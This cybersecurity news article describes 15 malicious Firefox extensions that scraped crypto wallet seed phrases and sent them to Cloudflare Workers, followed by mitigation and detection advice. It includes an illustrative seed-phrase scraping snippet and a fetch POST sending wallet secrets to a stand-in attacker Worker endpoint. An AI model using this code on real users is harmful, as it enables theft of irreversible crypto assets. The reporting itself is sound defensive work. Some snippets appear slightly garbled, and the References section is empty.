15 Malicious Firefox Extensions Steal Crypto Wallet Secrets

Security researchers have identified 15 malicious Firefox browser extensions that exploited Cloudflare Workers to exfiltrate sensitive cryptocurrency wallet data from unsuspecting users. These extensions masqueraded as legitimate productivity and utility tools while covertly harvesting private keys, seed phrases, and authentication credentials from popular crypto wallets. The campaign demonstrates an evolving threat landscape where attackers abuse trusted infrastructure services to evade detection and establish persistent data exfiltration channels.

Introduction

Browser extensions have become a double-edged sword in modern web browsing—offering enhanced functionality while simultaneously creating new attack surfaces for cybercriminals. In a recently uncovered campaign, threat actors deployed 15 malicious Firefox extensions that specifically targeted cryptocurrency users, leveraging Cloudflare Workers as their command-and-control infrastructure to steal wallet secrets.

The malicious extensions were designed with sophisticated evasion techniques, appearing as legitimate tools for tasks ranging from screenshot capture to productivity enhancement. Behind their benign interfaces, however, these extensions executed JavaScript code designed to intercept and exfiltrate highly sensitive cryptocurrency wallet information, including seed phrases, private keys, and password credentials.

This campaign highlights the critical vulnerability that browser extensions represent, particularly for users managing high-value cryptocurrency assets. The abuse of Cloudflare Workers—a legitimate serverless computing platform—demonstrates how attackers increasingly leverage trusted services to mask malicious activity and complicate attribution efforts.

Background & Context

Browser extensions operate with elevated privileges that allow them to access and modify web content, intercept network requests, and interact with sensitive page elements. This privileged position makes them particularly attractive targets for compromise or vehicles for malicious activity.

Cryptocurrency wallets present high-value targets for cybercriminals. Unlike traditional financial systems with fraud protection and transaction reversals, cryptocurrency transactions are irreversible. Once an attacker obtains private keys or seed phrases, they can permanently drain wallet contents with virtually no recourse for victims.

Cloudflare Workers is a serverless execution environment that runs JavaScript code at the edge of Cloudflare’s network. While designed for legitimate purposes like API acceleration and serverless applications, its features make it attractive for malicious use: difficulty in takedown, built-in encryption, global distribution, and the legitimacy associated with Cloudflare’s infrastructure.

Previous campaigns have targeted crypto users through phishing sites, clipboard hijackers, and fake wallet applications. However, the browser extension vector proves particularly effective because users often install multiple extensions without thoroughly vetting their permissions or source code.

Technical Breakdown

The malicious extensions employed a multi-stage attack chain designed to evade detection while maximizing data collection capabilities.

Initial Distribution

The extensions were distributed through various channels, including:

  • Direct promotion on cryptocurrency forums and social media
  • Search engine optimization to appear in extension searches
  • Bundling with other software installations
  • Social engineering campaigns targeting specific user communities

Permissions Exploitation

Upon installation, the extensions requested seemingly innocuous permissions that enabled their malicious functionality:

"permissions": [
  "activeTab",
  "storage",
  "clipboardRead",
  "webRequest",
  ""
]

These permissions granted the extensions ability to:

  • Access content on all websites
  • Monitor clipboard operations
  • Intercept web requests
  • Store data locally for later exfiltration

Data Harvesting Mechanism

The core malicious functionality targeted popular cryptocurrency wallet interfaces including MetaMask, Phantom, Coinbase Wallet, and hardware wallet connection interfaces. The extensions employed DOM manipulation to capture sensitive data:

// Simplified example of seed phrase extraction
const seedPhraseElements = document.querySelectorAll('[data-testid="seed-phrase-word"]');
const seedPhrase = Array.from(seedPhraseElements).map(el => el.textContent).join(' ');

The extensions monitored for:

  • Wallet creation workflows capturing new seed phrases
  • Password entry fields during wallet unlocking
  • Private key export operations
  • Transaction signing interfaces potentially containing additional authentication data

Cloudflare Workers Exfiltration

Stolen data was transmitted to attacker-controlled Cloudflare Worker endpoints using encrypted POST requests:

await fetch('https://malicious-worker.username.workers.dev/collect', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    wallet_type: 'metamask',
    seed_phrase: encryptedData,
    timestamp: Date.now(),
    user_id: generateFingerprint()
  })
});

This approach provided several advantages:

  • HTTPS encryption masking payload contents
  • Cloudflare’s reputation preventing security tool blocking
  • Geographic distribution complicating takedown efforts
  • Minimal infrastructure costs for attackers

Impact & Risk Assessment

The impact of this campaign extends across multiple dimensions:

Financial Impact

Users who installed these extensions and subsequently created wallets or exposed existing seed phrases faced complete asset loss. Cryptocurrency theft is irreversible, and victims have no fraud protection mechanisms available in traditional banking.

Scale and Scope

While exact installation numbers remain unclear, browser extension stores often show download counts. If these extensions achieved even modest adoption rates in cryptocurrency communities, the potential victim count could reach thousands of users with collective losses potentially in the millions of dollars.

Trust Erosion

Beyond immediate financial losses, campaigns like this erode trust in the browser extension ecosystem, particularly for security-conscious cryptocurrency users who may become overly cautious about adopting legitimate productivity tools.

Detection Challenges

The use of Cloudflare Workers created significant detection challenges. Network monitoring tools typically whitelist Cloudflare domains, and the encrypted nature of communications prevented simple payload inspection. This allowed the extensions to operate undetected for extended periods.

Vendor Response

Mozilla’s response to the discovery involved immediate removal of the identified malicious extensions from the Firefox Add-ons store. The company implemented additional automated scanning for similar behavioral patterns and updated its extension review process to flag suspicious permissions combinations.

Cloudflare took action by suspending the identified Worker accounts and implementing enhanced monitoring for bulk account creation patterns that might indicate similar campaigns. However, the decentralized nature of the Workers platform makes comprehensive prevention challenging without impacting legitimate users.

Affected wallet providers, including MetaMask and Phantom, issued security advisories recommending users review installed extensions and emphasizing that legitimate wallet providers never request seed phrases through extension interfaces.

Mitigations & Workarounds

Users concerned about potential exposure should take immediate action:

Immediate Actions

  • Review installed extensions – Remove unfamiliar or unnecessary extensions:
Firefox Menu → Add-ons and Themes → Extensions → Review each extension
  • Transfer assets – If any suspicious extensions were installed, create new wallets with fresh seed phrases and transfer assets immediately.
  • Revoke permissions – Check extension permissions and revoke access for extensions with excessive privileges.

Extension Hygiene

Only install extensions from verified developers with:

  • Significant user bases and reviews
  • Clear privacy policies
  • Minimal permission requests
  • Recent updates and active maintenance
  • Verified developer identity

Wallet Security

Implement hardware wallet solutions for significant holdings. Hardware wallets keep private keys isolated from browser environments, preventing extension-based exfiltration regardless of installed extensions.

Create dedicated browser profiles for cryptocurrency activities without any extensions installed:

# Create Firefox profile for crypto use only
firefox -CreateProfile "crypto-only"
firefox -P crypto-only --no-remote

Detection & Monitoring

Organizations and security-conscious users can implement several detection strategies:

Network Monitoring

Monitor for unusual patterns in Cloudflare Workers communications:

  • High frequency of POST requests to Workers endpoints
  • Requests occurring during wallet operations
  • Repeated connections to newly registered Worker domains

Endpoint Detection

Implement browser extension inventory management:

// Example: List all installed extensions (Developer Tools Console)
browser.management.getAll().then(extensions => {
  extensions.forEach(ext => {
    console.log(${ext.name}: ${ext.permissions});
  });
});

Behavioral Analysis

Watch for extensions exhibiting:

  • DOM monitoring on cryptocurrency websites
  • Clipboard access during wallet operations
  • Encrypted outbound communications following user interactions with wallet interfaces

Best Practices

For Users

  • Extension Minimalism – Install only essential extensions and regularly audit installed items
  • Hardware Wallets – Use hardware wallets for significant cryptocurrency holdings
  • Dedicated Environments – Maintain separate browser profiles or devices for cryptocurrency activities
  • Regular Reviews – Monthly audits of browser extensions and their permissions
  • Source Verification – Verify extension developers through multiple channels before installation

For Developers

  • Transparent Permissions – Request only necessary permissions and clearly explain requirements
  • Code Transparency – Open source extension code when possible
  • Security Audits – Regular third-party security reviews
  • Update Practices – Maintain active development and security patching

For Organizations

  • Extension Whitelisting – Implement organizational policies restricting extension installation
  • Network Monitoring – Deploy solutions monitoring for data exfiltration patterns
  • User Education – Regular security awareness training covering extension risks
  • Incident Response – Develop procedures for responding to suspected compromised extensions

Key Takeaways

  • Browser extensions represent significant attack surfaces, particularly for cryptocurrency users managing high-value assets
  • Legitimate services like Cloudflare Workers can be abused to establish difficult-to-detect exfiltration channels
  • Cryptocurrency theft is irreversible, making prevention vastly more important than detection
  • Permission models require scrutiny—excessive permissions indicate potential malicious intent
  • Hardware wallets provide critical isolation from browser-based attack vectors
  • Defense requires multiple layers, including extension hygiene, dedicated environments, and continuous monitoring
  • Trust verification is essential—verify extension developers through multiple independent sources

The discovery of these 15 malicious extensions underscores an evolving threat landscape where attackers continuously refine their techniques to target high-value cryptocurrency assets through increasingly sophisticated means.

References


Stay updated at https://cydhaal.com — Your Daily Dose of Cyber Intelligence.
📧 Subscribe to our newsletter at https://cydhaal.com/newsletter/


Leave a Reply

Your email address will not be published. Required fields are marked *

💬 Join WhatsApp Channel 📲 Cydhaal App